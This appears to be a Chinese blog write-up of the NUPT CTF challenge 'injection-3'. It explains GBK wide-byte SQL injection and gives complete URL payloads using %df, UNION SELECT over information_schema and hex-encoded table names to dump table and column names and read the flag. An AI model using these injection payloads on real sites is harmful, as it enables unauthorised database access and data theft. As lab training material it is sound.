南邮CTF injection-3 宽字节注入

南邮CTF injection-3 宽字节注入从昨天晚上开始做的,结果踩了一个坑,干到了凌晨1点,电脑都自动关机了,也没做出来,电脑关机之后,又用手机查了一下,知道了应该用表名的16进制形式来进行爆表,然后到今天上午才做完,还是上计组的时候用手机的火狐做的,手机做是真的难受宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码表名库名的十六进制形式:字符形式的表名:ctf表示成十…

欢迎扫码关注微信公众号

回复关键字【资料】获取各种学习资料
 

南邮CTF injection-3 宽字节注入

 

从昨天晚上开始做的,结果踩了一个坑,干到了凌晨1点,电脑都自动关机了,也没做出来,电脑关机之后,又用手机查了一下,

知道了应该用表名的16进制形式来进行爆表,然后到今天上午才做完,还是上计组的时候用手机的火狐做的,手机做是真的难受

宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码

表名库名的十六进制形式:

            字符形式的表名: ctf

表示成十六进制就是这样的:  0x637466

每个字母用两位十六进制数表示,前面加一个0x就行了

当我爆表的时候需要使用这样语句:

完整的url:

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df’ and 1=2 union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

这样就能显示出来当前数据库中的所有表

问题出在爆列,我们依次查询各个表中的字段

在’不被过滤的情况下,我们的语句应该是这样的:

‘ and 1=2 union select 2,group_concat(column_name) from information_schema.columns where table_name=’table1’#

但是现在存在针对特殊符号的过滤,’会被转义而变成普通的字符,虽然有宽字节注入的漏洞,但是我们只能在闭合’的时候用,后面的where字句中

就无法使用了,如果在where子句中使用宽字节吃掉转义符,那么你的注入语句就会变成这样:

your sql:select id,title from news where id = ‘運’ and 1=2 union select 2,group_concat(column_name) from information_schema.columns where table_name=運’ctf運’#’

转义符\的确是被吃掉了,但是where字句也多了两个gbk编码,所以一定会报错,此路不通,我们就转而用十六进制形式的表名,这种形式不需要单引号

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df’ and 1=2 union select 2,group_concat(column_name) from information_schema.columns where table_name=0x637466%23

这样构造出来的url就爆出了ctf表中的字段,没有flag字段,继续爆其他的表格,当我们爆到ctf4的时候,

发现了flag字段,之后构造select flag from ctf4的注入语句即可拿到flag

今天的文章南邮CTF injection-3 宽字节注入分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/30022.html

(0)
编程小号编程小号

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注